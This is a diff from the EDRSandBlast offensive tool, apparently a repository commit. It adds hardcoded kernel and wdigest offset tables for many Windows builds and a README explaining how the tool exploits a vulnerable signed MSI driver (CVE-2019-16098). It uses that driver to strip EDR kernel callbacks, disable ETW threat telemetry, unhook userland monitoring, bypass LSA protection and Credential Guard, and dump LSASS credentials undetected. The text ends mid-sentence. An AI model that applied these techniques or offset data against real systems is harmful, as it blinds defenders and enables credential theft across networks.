ntoskrnl_18362-1110.exe,503fa0,503ba0,503da0,6fa,432c18,20,60
|
||||||
|
ntoskrnl_18362-1139.exe,5040a0,503ca0,503ea0,6fa,432c98,20,60
|
||||||
|
ntoskrnl_18362-116.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
|
||||||
|
ntoskrnl_18362-1171.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||||
|
ntoskrnl_18362-1198.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||||
|
ntoskrnl_18362-1237.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||||
|
ntoskrnl_18362-1256.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||||
|
ntoskrnl_18362-1316.exe,5040a0,503ca0,503ea0,6fa,432c90,20,60
|
||||||
|
ntoskrnl_18362-1350.exe,503b60,503d60,503960,6fa,432bf8,20,60
|
||||||
|
ntoskrnl_18362-1377.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
|
||||||
|
ntoskrnl_18362-1379.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
|
||||||
|
ntoskrnl_18362-1411.exe,503de0,5039e0,503be0,6fa,432c38,20,60
|
||||||
|
ntoskrnl_18362-1440.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
|
||||||
|
ntoskrnl_18362-1441.exe,503da0,5039a0,503ba0,6fa,432c38,20,60
|
||||||
|
ntoskrnl_18362-145.exe,500de0,5009e0,500be0,6fa,42f9e8,20,50
|
||||||
|
ntoskrnl_18362-1474.exe,503ba0,503da0,5039a0,6fa,432c38,20,60
|
||||||
|
ntoskrnl_18362-1500.exe,503b60,503d60,503960,6fa,432c18,20,60
|
||||||
|
ntoskrnl_18362-1533.exe,503e20,503a20,503c20,6fa,432c78,20,60
|
||||||
|
ntoskrnl_18362-1556.exe,503e20,503a20,503c20,6fa,432c78,20,60
|
||||||
|
ntoskrnl_18362-1621.exe,503e20,503a20,503c20,6fa,432c78,20,60
|
||||||
|
ntoskrnl_18362-1679.exe,502da0,5029a0,502ba0,6fa,431bf8,20,60
|
||||||
|
ntoskrnl_18362-1734.exe,503de0,5039e0,503be0,6fa,432c38,20,60
|
||||||
|
ntoskrnl_18362-1801.exe,503ce0,503ee0,503ae0,6fa,432c38,20,60
|
||||||
|
ntoskrnl_18362-207.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
|
||||||
|
ntoskrnl_18362-239.exe,500de0,5009e0,500be0,6fa,42fa48,20,50
|
||||||
|
ntoskrnl_18362-267.exe,503f60,503b60,503d60,6fa,432c60,20,50
|
||||||
|
ntoskrnl_18362-295.exe,503fa0,503ba0,503da0,6fa,432c48,20,50
|
||||||
|
ntoskrnl_18362-30.exe,500d60,500960,500b60,6fa,42fa40,20,50
|
||||||
|
ntoskrnl_18362-329.exe,504ee0,5050e0,504ce0,6fa,433c28,20,50
|
||||||
|
ntoskrnl_18362-356.exe,505060,504c60,504e60,6fa,433c90,20,50
|
||||||
|
ntoskrnl_18362-357.exe,505060,504c60,504e60,6fa,433c90,20,50
|
||||||
|
ntoskrnl_18362-387.exe,505fe0,505be0,505de0,6fa,434c38,20,50
|
||||||
|
ntoskrnl_18362-388.exe,505fe0,505be0,505de0,6fa,434c38,20,50
|
||||||
|
ntoskrnl_18362-418.exe,505ee0,5060e0,505ce0,6fa,434c58,20,50
|
||||||
|
ntoskrnl_18362-449.exe,505da0,505fa0,505ba0,6fa,434c58,20,50
|
||||||
|
ntoskrnl_18362-476.exe,506060,505c60,505e60,6fa,434c78,20,50
|
||||||
|
ntoskrnl_18362-535.exe,506020,505c20,505e20,6fa,434c78,20,50
|
||||||
|
ntoskrnl_18362-592.exe,506060,505c60,505e60,6fa,434c80,20,50
|
||||||
|
ntoskrnl_18362-628.exe,506060,505c60,505e60,6fa,434c78,20,50
|
||||||
|
ntoskrnl_18362-657.exe,505e60,506060,505c60,6fa,434c78,20,50
|
||||||
|
ntoskrnl_18362-693.exe,505de0,505fe0,505be0,6fa,434c38,20,60
|
||||||
|
ntoskrnl_18362-719.exe,505e20,506020,505c20,6fa,434c78,20,60
|
||||||
|
ntoskrnl_18362-720.exe,505e20,506020,505c20,6fa,434c78,20,60
|
||||||
|
ntoskrnl_18362-752.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
|
||||||
|
ntoskrnl_18362-753.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
|
||||||
|
ntoskrnl_18362-778.exe,505e60,506060,505c60,6fa,434c70,20,60
|
||||||
|
ntoskrnl_18362-815.exe,505e60,506060,505c60,6fa,434c70,20,60
|
||||||
|
ntoskrnl_18362-836.exe,505ea0,5060a0,505ca0,6fa,434c58,20,60
|
||||||
|
ntoskrnl_18362-900.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60
|
||||||
|
ntoskrnl_18362-904.exe,505ea0,5060a0,505ca0,6fa,434c78,20,60
|
||||||
|
ntoskrnl_18362-959.exe,505ea0,5060a0,505ca0,6fa,434cb8,20,60
|
||||||
|
ntoskrnl_18362-997.exe,505e60,506060,505c60,6fa,434c78,20,60
|
||||||
|
ntoskrnl_19041-1023.exe,cec460,cec260,cec060,87a,c19db8,20,60
|
||||||
|
ntoskrnl_19041-1052.exe,cebfe0,cec3e0,cec1e0,87a,c19790,20,60
|
||||||
|
ntoskrnl_19041-1055.exe,cec020,cec420,cec220,87a,c19790,20,60
|
||||||
|
ntoskrnl_19041-1081.exe,cec1e0,cebfe0,cec3e0,87a,c19758,20,60
|
||||||
|
ntoskrnl_19041-1082.exe,cec420,cec220,cec020,87a,c19758,20,60
|
||||||
|
ntoskrnl_19041-1083.exe,cec420,cec220,cec020,87a,c19758,20,60
|
||||||
|
ntoskrnl_19041-1110.exe,cec120,cebf20,cec320,87a,c197f8,20,60
|
||||||
|
ntoskrnl_19041-1151.exe,cec320,cec120,cebf20,87a,c197c0,20,60
|
||||||
|
ntoskrnl_19041-1165.exe,cec2e0,cec0e0,cebee0,87a,c197a0,20,60
|
||||||
|
ntoskrnl_19041-1202.exe,cec320,cec120,cebf20,87a,c197d0,20,60
|
||||||
|
ntoskrnl_19041-1237.exe,cec320,cec120,cebf20,87a,c197d0,20,60
|
||||||
|
ntoskrnl_19041-1266.exe,cec3a0,cec1a0,cebfa0,87a,c19770,20,60
|
||||||
|
ntoskrnl_19041-1288.exe,cec1a0,cebfa0,cec3a0,87a,c19790,20,60
|
||||||
|
ntoskrnl_19041-264.exe,cec060,cec260,cebe60,87a,c19858,20,60
|
||||||
|
ntoskrnl_19041-329.exe,cec320,cebf20,cec120,87a,c19898,20,60
|
||||||
|
ntoskrnl_19041-331.exe,cec320,cebf20,cec120,87a,c19898,20,60
|
||||||
|
ntoskrnl_19041-388.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60
|
||||||
|
ntoskrnl_19041-423.exe,cec160,cec360,cebf60,87a,c198b8,20,60
|
||||||
|
ntoskrnl_19041-450.exe,cec320,cebf20,cec120,87a,c198b8,20,60
|
||||||
|
ntoskrnl_19041-488.exe,cec220,cec420,cec020,87a,c19918,20,60
|
||||||
|
ntoskrnl_19041-508.exe,cec3a0,cebfa0,cec1a0,87a,c19898,20,60
|
||||||
|
ntoskrnl_19041-546.exe,cec420,cec020,cec220,87a,c19938,20,60
|
||||||
|
ntoskrnl_19041-572.exe,cec420,cec020,cec220,87a,c19938,20,60
|
||||||
|
ntoskrnl_19041-610.exe,cec220,cec420,cec020,87a,c19978,20,60
|
||||||
|
ntoskrnl_19041-630.exe,cec220,cec420,cec020,87a,c19978,20,60
|
||||||
|
ntoskrnl_19041-631.exe,cec220,cec420,cec020,87a,c19978,20,60
|
||||||
|
ntoskrnl_19041-662.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60
|
||||||
|
ntoskrnl_19041-685.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60
|
||||||
|
ntoskrnl_19041-746.exe,cebfe0,cec3e0,cec1e0,87a,c198f8,20,60
|
||||||
|
ntoskrnl_19041-789.exe,cec220,cec620,cec420,87a,c19998,20,60
|
||||||
|
ntoskrnl_19041-804.exe,cec420,cec220,cec020,87a,c19918,20,60
|
||||||
|
ntoskrnl_19041-844.exe,cec660,cec460,cec260,87a,c19fa8,20,60
|
||||||
|
ntoskrnl_19041-867.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
|
||||||
|
ntoskrnl_19041-868.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
|
||||||
|
ntoskrnl_19041-870.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60
|
||||||
|
ntoskrnl_19041-906.exe,cec5e0,cec3e0,cec1e0,87a,c199d0,20,60
|
||||||
|
ntoskrnl_19041-928.exe,cec520,cec320,cec120,87a,c19950,20,60
|
||||||
|
ntoskrnl_19041-964.exe,cec0e0,cebee0,cec2e0,87a,c19d38,20,60
|
||||||
|
ntoskrnl_19041-985.exe,cec360,cec160,cebf60,87a,c19d78,20,60
|
||||||
|
ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60
|
||||||
|
ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60
|
||||||
|
ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60
|
||||||
|
@@ -0,0 +1,33 @@
|
|||||||
|
wdigestVersion,g_fParameter_UseLogonCredentialOffset,g_IsCredGuardEnabledOffset
|
||||||
|
wdigest_10240-18244.dll,35144,34ba0
|
||||||
|
wdigest_10240-18608.dll,35144,34ba0
|
||||||
|
wdigest_10586-0.dll,35db0,35ba8
|
||||||
|
wdigest_15254-245.dll,34d8c,34b88
|
||||||
|
wdigest_10240-17184.dll,35144,34ba0
|
||||||
|
wdigest_14393-3750.dll,35dc0,35ba8
|
||||||
|
wdigest_15063-1868.dll,34d8c,34b88
|
||||||
|
wdigest_14393-0.dll,35dc0,35ba8
|
||||||
|
wdigest_14393-3808.dll,35dc0,35ba8
|
||||||
|
wdigest_10240-18638.dll,35144,34ba0
|
||||||
|
wdigest_14393-3024.dll,35dc0,35ba8
|
||||||
|
wdigest_10240-16384.dll,35134,0
|
||||||
|
wdigest_16299-192.dll,35114,34b88
|
||||||
|
wdigest_16299-1937.dll,35114,34b88
|
||||||
|
wdigest_16299-1217.dll,35114,34b88
|
||||||
|
wdigest_17134-1610.dll,36114,35b88
|
||||||
|
wdigest_16299-1992.dll,35114,34b88
|
||||||
|
wdigest_17134-829.dll,35114,34b88
|
||||||
|
wdigest_17134-590.dll,35114,34b88
|
||||||
|
wdigest_17134-1553.dll,35114,34b88
|
||||||
|
wdigest_17763-194.dll,35114,34b88
|
||||||
|
wdigest_17763-1339.dll,36114,35b88
|
||||||
|
wdigest_17763-1294.dll,35114,34b88
|
||||||
|
wdigest_17763-557.dll,35114,34b88
|
||||||
|
wdigest_18362-175.dll,35124,34b88
|
||||||
|
wdigest_18362-959.dll,36124,35b88
|
||||||
|
wdigest_19041-1001.dll,361b4,35c08
|
||||||
|
wdigest_18362-904.dll,35124,34b88
|
||||||
|
wdigest_19041-388.dll,361b4,35c08
|
||||||
|
wdigest_19041-329.dll,361b4,35c08
|
||||||
|
wdigest_22406-1000.dll,3caa4,3cab0
|
||||||
|
wdigest_18362-1216.dll,35124,34b88
|
||||||
|
@@ -0,0 +1,2 @@
|
|||||||
|
requests
|
||||||
|
pywin32
|
||||||
@@ -0,0 +1,479 @@
|
|||||||
|
# EDRSandBlast
|
||||||
|
|
||||||
|
`EDRSandBlast` is a tool written in `C` that weaponize a vulnerable signed
|
||||||
|
driver to bypass `EDR` detections (Kernel callbacks and `ETW TI` provider) and
|
||||||
|
`LSASS` protections. Multiple userland unhooking techniques are also
|
||||||
|
implemented to evade userland monitoring.
|
||||||
|
|
||||||
|
As of release, combination of userland (`--usermode`) and Kernel-land
|
||||||
|
(`--kernelmode`) techniques were used to dump `LSASS` memory under `EDR`
|
||||||
|
scrutiny, without being blocked nor generating "OS Credential Dumping"-related
|
||||||
|
events in the product (cloud) console. The tests were performed on 3 distinct
|
||||||
|
`EDR` products and were successful in each case.
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
### EDR bypass through Kernel callbacks removal
|
||||||
|
|
||||||
|
`EDR` products use Kernel callbacks on Windows to be notified by the kernel of
|
||||||
|
system activity, such as process and thread creation and loading of images
|
||||||
|
(`exe` / `DLL`).
|
||||||
|
|
||||||
|
The Kernel callbacks are defined from user-land using a number of documented
|
||||||
|
APIs (`nt!PsSetCreateProcessNotifyRoutine`, `nt!PsSetCreateThreadNotifyRoutine`,
|
||||||
|
etc.). The user-land APIs add driver-supplied callback routines to undocumented
|
||||||
|
arrays of routines in Kernel-space:
|
||||||
|
- `PspCreateProcessNotifyRoutine` for process creation
|
||||||
|
- `PspCreateThreadNotifyRoutine` for thread creation
|
||||||
|
- `PspLoadImageNotifyRoutine` for image loading
|
||||||
|
|
||||||
|
`EDRSandBlast` enumerates the routines defined in those arrays and remove any
|
||||||
|
callback routine linked to a predefined list of `EDR` drivers (more than 1000
|
||||||
|
thousands drivers of security products from the
|
||||||
|
[allocated filter altitudes](https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes)).
|
||||||
|
The enumeration and removal are made possible through the exploitation of an
|
||||||
|
arbitrary Kernel memory read / write vulnerability of the
|
||||||
|
`Micro-Star MSI Afterburner` driver (`CVE-2019-16098`). The enumeration and
|
||||||
|
removal code is largely inspired from
|
||||||
|
[br-sn's CheekyBlinder project](https://github.com/br-sn/CheekyBlinder).
|
||||||
|
|
||||||
|
The offsets of the aforementioned arrays are hardcoded in the
|
||||||
|
`NtoskrnlOffsets.csv` file for more than 350 versions of the Windows Kernel
|
||||||
|
`ntoskrnl.exe`. The choice of going with hardcoded offsets instead of pattern
|
||||||
|
searches is justified by the fact that the undocumented APIs responsible for
|
||||||
|
Kernel callbacks addition / removal are subject to change and that any attempt
|
||||||
|
to write Kernel memory at the wrong address may (and often will) result in a
|
||||||
|
`Bug Check` (`Blue Screen of Death`). For more information on how the offsets
|
||||||
|
were gathered, refer to [Offsets section](Offsets).
|
||||||
|
|
||||||
|
### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider
|
||||||
|
|
||||||
|
The `ETW Microsoft-Windows-Threat-Intelligence` provider log data about the
|
||||||
|
usages of some Windows API commonly used maliciously. This include the
|
||||||
|
`nt!MiReadWriteVirtualMemory` API, called by `nt!NtReadVirtualMemory` (which is
|
||||||
|
used to dump `LSASS` memory) and monitored by the `nt!EtwTiLogReadWriteVm`
|
||||||
|
function.
|
||||||
|
|
||||||
|
`EDR` products can consume the logs produced by the `ETW TI` provider through
|
||||||
|
services or processes running as, respectively,
|
||||||
|
`SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT` or
|
||||||
|
`PS_PROTECTED_ANTIMALWARE_LIGHT`, and associated with an `Early Launch Anti
|
||||||
|
Malware (ELAM)` driver.
|
||||||
|
|
||||||
|
As published by
|
||||||
|
[`slaeryan` in a `CNO Development Labs` blog post](https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider),
|
||||||
|
the `ETW TI` provider can be disabled altogether by patching, in kernel memory,
|
||||||
|
its `ProviderEnableInfo` attribute to `0x0`. Refer to the great aforementioned
|
||||||
|
blog post for more information on the technique.
|
||||||
|
|
||||||
|
Similarly to the Kernel callbacks removal, the necessary `ntoskrnl.exe` offsets
|
||||||
|
(`nt!EtwThreatIntProvRegHandleOffset`, `_ETW_REG_ENTRY`'s `GuidEntry`, and
|
||||||
|
`_ETW_GUID_ENTRY`'s `ProviderEnableInfo`) are hardcoded in the
|
||||||
|
`NtoskrnlOffsets.csv` file a number of the Windows Kernel versions.
|
||||||
|
|
||||||
|
### EDR bypass through userland hooking bypass
|
||||||
|
#### How userland hooking works
|
||||||
|
In order to easily monitor actions that are performed by processes, EDR products often
|
||||||
|
deploy a mechanism called *userland hooking*. First, EDR products register a kernel
|
||||||
|
callback (usually *image loading* or *process creation* callbacks, see above) that allows
|
||||||
|
them to be notified upon each process start.
|
||||||
|
|
||||||
|
|
||||||
|
When a process is loaded by Windows, and before it actually starts, the EDR is able to
|
||||||
|
inject some custom DLL into the process address space, which contains its monitoing
|
||||||
|
logic. While loading, this DLL injects "*hooks*" at the start of every function that is to
|
||||||
|
be monitored by the EDR. At runtime, when the monitored functions are called by the
|
||||||
|
process under surveillance, these hooks redirect the control flow to some supervision code
|
||||||
|
present in the EDR's DLL, which allows it to inspect arguments and return values of these
|
||||||
|
calls.
|
||||||
|
|
||||||
|
Most of the time, monitored functions are system calls (such as `NtReadVirtualMemory`,
|
||||||
|
`NtOpenProcess`, etc.), whose implementations reside in `ntdll.dll`. Intercepting calls to
|
||||||
|
`Nt*` functions allows products to be as close as possible to the userland / kernel-land
|
||||||
|
boundary (while remaining in userland), but functions from some higher-level DLLs may also
|
||||||
|
be monitored as well.
|
||||||
|
|
||||||
|
Bellow are examples of the same function, before and after beeing hooked by the EDR product:
|
||||||
|
```assembly
|
||||||
|
NtProtectVirtualMemory proc near
|
||||||
|
mov r10, rcx
|
||||||
|
mov eax, 50h
|
||||||
|
test byte ptr ds:7FFE0308h, 1
|
||||||
|
jnz short loc_18009D1E5
|
||||||
|
syscall
|
||||||
|
retn
|
||||||
|
loc_18009D1E5:
|
||||||
|
int 2Eh
|
||||||
|
retn
|
||||||
|
NtProtectVirtualMemory endp
|
||||||
|
```
|
||||||
|
|
||||||
|
```assembly
|
||||||
|
NtProtectVirtualMemory proc near
|
||||||
|
jmp sub_7FFC74490298 ; --> "hook", jump to EDR analysis function
|
||||||
|
int 3 ; overwritten instructions
|
||||||
|
int 3 ; overwritten instructions
|
||||||
|
int 3 ; overwritten instructions
|
||||||
|
test byte_7FFE0308, 1 ; <-- execution resumes here after analysis
|
||||||
|
jnz short loc_7FFCB44AD1E5
|
||||||
|
syscall
|
||||||
|
retn
|
||||||
|
loc_7FFCB44AD1E5:
|
||||||
|
int 2Eh
|
||||||
|
retn
|
||||||
|
NtProtectVirtualMemory endp
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Hooks detection
|
||||||
|
Userland hooks have the "weakness" to be located in userland memory, which means they are
|
||||||
|
directly observable and modifiable by the process under scrutiny. To automatically detect
|
||||||
|
hooks in the process address space, the main idea is to compare the differences between
|
||||||
|
the original DLL on disk and the library residing in memory, that has been potentially
|
||||||
|
altered by an EDR. To perform this comparison, the following steps are followed by
|
||||||
|
EDRSandblast:
|
||||||
|
* The list of all loaded DLLs is enumerated thanks to the `InLoadOrderModuleList` located
|
||||||
|
int the `PEB` (to avoid calling any API that could be monitored and suspect)
|
||||||
|
* For each loaded DLL, its content on disk is read and its headers parsed. The
|
||||||
|
corresponding library, residing in memory, is also parsed to identify sections, exports,
|
||||||
|
etc.
|
||||||
|
* Relocations of the DLL are parsed and applied, by taking the base address of the
|
||||||
|
corresponding loaded library into account. This allows the content of both the in-memory
|
||||||
|
library and DLL originating from disk to have the exact same content (on sections where
|
||||||
|
relocations are applied), and thus making the comparison reliable.
|
||||||
|
* Exported functions are enumerated and the first bytes of the "in-memory" and "on-disk"
|
||||||
|
versions are compared. Any difference indicates an alteration that has been made after
|
||||||
|
the DLL was loaded, and thus is very probably an EDR hook.
|
||||||
|
|
||||||
|
Note: The process can be generalized to find differences anywhere in non-writable sections
|
||||||
|
and not only at the start of exported functions, for example if EDR products start to
|
||||||
|
apply hooks in the middle of function :) Thus not used by the tool, this has been
|
||||||
|
implemented in `findDiffsInNonWritableSections`.
|
||||||
|
|
||||||
|
|
||||||
|
In order to bypass the monitoring performed by these hooks, multiples techniques are
|
||||||
|
possible, and each has benefits and drawbacks.
|
||||||
|
|
||||||
|
#### Hook bypass using ... unhooking
|
||||||
|
The most intuitive method to bypass the hook-based monitoring is to remove the
|
||||||
|
hooks. Since the hooks are present in memory that is reachable by the process itself, to
|
||||||
|
remove a hook, the process can simply:
|
||||||
|
* Change the permissions on the page where the hook is located (RX -> RWX or RW)
|
||||||
|
* Write the original bytes that are known thanks to the on-disk DLL content
|
||||||
|
* Change back the permissions to RX
|
||||||
|
|
||||||
|
This approach is fairly simple, and can be used to remove every detected hook all at
|
||||||
|
once. Performed by an offensive tool at its begining, this allows the rest of the code to
|
||||||
|
be completely unaware of the hooking mechnanism and perform normally without being
|
||||||
|
monitored.
|
||||||
|
|
||||||
|
However, it has two main drawbacks. The EDR is probably monitoring the use of
|
||||||
|
`NtProtectVirtualMemory`, so using it to change the permissions of the page where the
|
||||||
|
hooks have been installed is (at least conceptually) a bad idea. Also, if a thread is
|
||||||
|
executed by the EDR and periodically check the integrity of the hooks, this could also
|
||||||
|
trigger some detection.
|
||||||
|
|
||||||
|
For implementation details, check the `unhook()` function's code path when `unhook_method` is
|
||||||
|
`UNHOOK_WITH_NTPROTECTVIRTUALMEMORY`.
|
||||||
|
|
||||||
|
**Important note: for simplicity, this technique is implemented in EDRSandblast as the
|
||||||
|
base technique used to *showcase* the other bypass techniques; each of them demonstrates
|
||||||
|
how to obtain an unmonitored version of `NtProtectVirtualMemory`, but performs the same
|
||||||
|
operation afterward (unhooking a specific hook).**
|
||||||
|
|
||||||
|
#### Hook bypass using a custom trampoline
|
||||||
|
To bypass a specific hook, it is possible to simply "jump over" and execute the rest of
|
||||||
|
the function as is. First, the original bytes of the monitored function, that have been
|
||||||
|
overwritten by the EDR to install the hook, must be recovered from the DLL file. In our
|
||||||
|
previous code example, this would be the bytes corresponding to the following
|
||||||
|
instructions:
|
||||||
|
|
||||||
|
```assembly
|
||||||
|
mov r10, rcx
|
||||||
|
mov eax, 50h
|
||||||
|
```
|
||||||
|
|
||||||
|
Identifying these bytes is a simple task since we are able to perform a clean *diff* of
|
||||||
|
both the memory and disk versions of the library, as previously described. Then, we
|
||||||
|
assemble a jump instruction that is built to redirect the control flow to the code
|
||||||
|
following immediately the hook, at address `NtProtectVirtualMemory +
|
||||||
|
sizeof(overwritten_instructions)`
|
||||||
|
|
||||||
|
```assembly
|
||||||
|
jmp NtProtectVirtualMemory+8
|
||||||
|
```
|
||||||
|
|
||||||
|
Finally, we concatenate these opcodes, store them in (newly) executable memory and keep a
|
||||||
|
pointer to them. This object is called a "*trampoline*" and can then be used as a function
|
||||||
|
pointer, strictly equivalent to the original `NtProtectVirtualMemory` function.
|
||||||
|
|
||||||
|
The main benefit of this technique as for every techniques bellow, is that the hook is
|
||||||
|
never erased, so any integrity check performed on the hooks by the EDR should
|
||||||
|
pass. However, it requires to allocate writable then executable memory, which is typical
|
||||||
|
of a shellcode allocation, thus attracting the EDR's scrutiny.
|
||||||
|
|
||||||
|
For implementation details, check the `unhook()` function's code path when `unhook_method` is
|
||||||
|
`UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE`. Please remind the technique is
|
||||||
|
only showcased in our implementation and is, in the end, used to **remove** hooks from
|
||||||
|
memory, as every technique bellow.
|
||||||
|
|
||||||
|
#### Hook bypass using the own EDR's trampoline
|
||||||
|
The EDR product, in order for its hook to work, must save somewhere in memory the opcodes
|
||||||
|
that it has removed. Worst (*or "better", from the attacker point of view*), to
|
||||||
|
effectively use the original instructions the EDR has probably allocated itself a
|
||||||
|
*trampoline* somewhere to execute the original function after having intercepted the call.
|
||||||
|
|
||||||
|
This trampoline can be searched for and used as a replacement for the hooked function,
|
||||||
|
without the need to allocate executable memory, or call any API except `VirtualQuery`,
|
||||||
|
which is most likely not monitored being an innocuous function.
|
||||||
|
|
||||||
|
To find the trampoline in memory, we browse the whole address space using `VirtualQuery`
|
||||||
|
looking for commited and executable memory. For each such region of memory, we scan it to
|
||||||
|
look for a jump instruction that targets the address following the overwritten
|
||||||
|
instructions (`NtProtectVirtualMemory+8` in our previous example). The trampoline can then
|
||||||
|
be used to call the hooked function without triggering the hook.
|
||||||
|
|
||||||
|
This technique works surprisingly well as it recovers nearly all trampolines on tested
|
||||||
|
EDR. For implementation details, check the `unhook()` function's code path when
|
||||||
|
`unhook_method` is `UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE`.
|
||||||
|
|
||||||
|
|
||||||
|
#### Hook bypass using duplicate DLL
|
||||||
|
Another simple method to get access to an unmonitored version of `NtProtectVirtualMemory`
|
||||||
|
function is to load a duplicate version of the ntdll.dll library into the process address
|
||||||
|
space. Since two identical DLLs can be loaded in the same process, provided they have
|
||||||
|
different names, we can simply copy the legitimate `ntdll.dll` file into another location,
|
||||||
|
load it using `LoadLibrary` (or reimplement the loading process), and access the function
|
||||||
|
using `GetProcAddress` for example.
|
||||||
|
|
||||||
|
This technique is very simple to understand and implement, and have a decent chance of
|
||||||
|
success, since most of EDR products does not re-install hooks on newly loaded DLLs once
|
||||||
|
the process is running. However, the major drawback is that copying Microsoft signed
|
||||||
|
binaries under a different name is often considered as suspicious by EDR products as
|
||||||
|
itself.
|
||||||
|
|
||||||
|
This technique is nevertheless implemented in `EDRSandblast`. For implementation details, check
|
||||||
|
the `unhook()` function's code path when `unhook_method` is
|
||||||
|
`UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY`.
|
||||||
|
|
||||||
|
|
||||||
|
#### Hook bypass using direct syscalls
|
||||||
|
In order to use system calls related functions, one program can reimplement syscalls (in
|
||||||
|
assembly) in order to call the corresponding OS features without actually touching the
|
||||||
|
code in `ntdll.dll`, which might be monitored by the EDR. This completely bypasses any
|
||||||
|
userland hooking done on syscall functions in `ntdll.dll`.
|
||||||
|
|
||||||
|
This nevertheless has some drawbacks. First, this implies been able to know the list of
|
||||||
|
syscall numbers of functions the program needs, which changes for each version of
|
||||||
|
Windows. Also, functions that are not technically syscalls
|
||||||
|
(e.g. `LoadLibraryX`/`LdrLoadDLL`) could be monitored as well, and cannot simply be
|
||||||
|
reimplemented using a syscall.
|
||||||
|
|
||||||
|
This technique is implemented in EDRSandblast. As previously stated, it is only used to
|
||||||
|
execute `NtProtectVirtualMemory` safely, and remove all detected hooks. However, in order
|
||||||
|
not to rely on hardcoded offsets, a small heuristic is implemented to search for `mov eax,
|
||||||
|
imm32` instruction at the start of the `NtProtectVirtualMemory` function and recover the
|
||||||
|
syscall number from it if found (else relying on hardcoded offset for known Windows
|
||||||
|
versions).
|
||||||
|
|
||||||
|
For implementation details, check the `unhook()` function's code path when `unhook_method` is
|
||||||
|
`UNHOOK_WITH_DIRECT_SYSCALL`.
|
||||||
|
|
||||||
|
### RunAsPPL bypass
|
||||||
|
|
||||||
|
The `Local Security Authority (LSA) Protection` mechanism, firstly introduced
|
||||||
|
in Windows 8.1 and Windows Server 2012 R2, leverage the `Protected Process
|
||||||
|
Light (PPL)` technology to restrict access to the `LSASS` process. The `PPL`
|
||||||
|
protection regulates and restricts operations, such as memory injection or
|
||||||
|
memory dumping of protected processes, even from process holding the
|
||||||
|
`SeDebugPrivilege` privilege.
|
||||||
|
|
||||||
|
The protection level of a process is defined in its `EPROCESS` structure, used
|
||||||
|
by the Windows kernel to represent processes in memory. The `EPROCESS`
|
||||||
|
structure includes a `_PS_PROTECTION` field, defining the protection level of a
|
||||||
|
process through its `Type` (`_PS_PROTECTED_TYPE`) and `Signer`
|
||||||
|
(`_PS_PROTECTED_SIGNER`) attributes.
|
||||||
|
|
||||||
|
If no `EDR` drivers callbacks are detected, the current process is self
|
||||||
|
protected as `PsProtectedSignerWinTcb-Light`. This level of protection is
|
||||||
|
sufficient to dump the `LSASS` process memory, with `RunAsPPL` enabled, as
|
||||||
|
the `PsProtectedSignerWinTcb` signer "dominates" `PsProtectedSignerLsa-Light`
|
||||||
|
(and both process are of `PsProtectedTypeProtectedLight` type).
|
||||||
|
|
||||||
|
`EDRSandBlast` implements the self protection as follow:
|
||||||
|
- open an handle to the current process
|
||||||
|
- leak all system handles using `NtQuerySystemInformation` to find the opened
|
||||||
|
handle on the current process (which correspond to the current process'
|
||||||
|
`EPROCESS` structure in kernel memory).
|
||||||
|
- use the arbitrary read / write vulnerability of the `Micro-Star MSI
|
||||||
|
Afterburner` driver to overwrite the `_PS_PROTECTION` field of the current
|
||||||
|
process in kernel memory. The offsets of the `_PS_PROTECTION` field
|
||||||
|
relative to the `EPROCESS` structure (defined by the `ntoskrnl` version in
|
||||||
|
use) are hardcoded in the `NtoskrnlOffsets.csv` file.
|
||||||
|
|
||||||
|
### Credential Guard bypass
|
||||||
|
|
||||||
|
Microsoft `Credential Guard` is a virtualization-based isolation technology,
|
||||||
|
introduced in Microsoft's `Windows 10 (Enterprise edition)` which prevents
|
||||||
|
direct access to the credentials stored in the `LSASS` process.
|
||||||
|
|
||||||
|
When `Credentials Guard` is activated, an `LSAIso` (*LSA Isolated*) process is
|
||||||
|
created in `Virtual Secure Mode`, a feature that leverages the virtualization
|
||||||
|
extensions of the CPU to provide added security of data in memory. Access to
|
||||||
|
the `LSAIso` process are restricted even for an access with the
|
||||||
|
`NT AUTHORITY\SYSTEM` security context. When processing a hash, the `LSA`
|
||||||
|
process perform a `RPC` call to the `LSAIso` process, and waits for the
|
||||||
|
`LSAIso` result to continue. Thus, the `LSASS` process won't contain any
|
||||||
|
secrets and in place will store `LSA Isolated Data`.
|
||||||
|
|
||||||
|
As stated in original research conducted by `N4kedTurtle`: "`Wdigest` can be
|
||||||
|
enabled on a system with Credential Guard by patching the values of
|
||||||
|
`g_fParameter_useLogonCredential` and `g_IsCredGuardEnabled` in memory".
|
||||||
|
The activation of `Wdigest` will result in cleartext credentials being stored
|
||||||
|
in `LSASS` memory for any new interactive logons (with out requiring a reboot of
|
||||||
|
the system). Refer to the
|
||||||
|
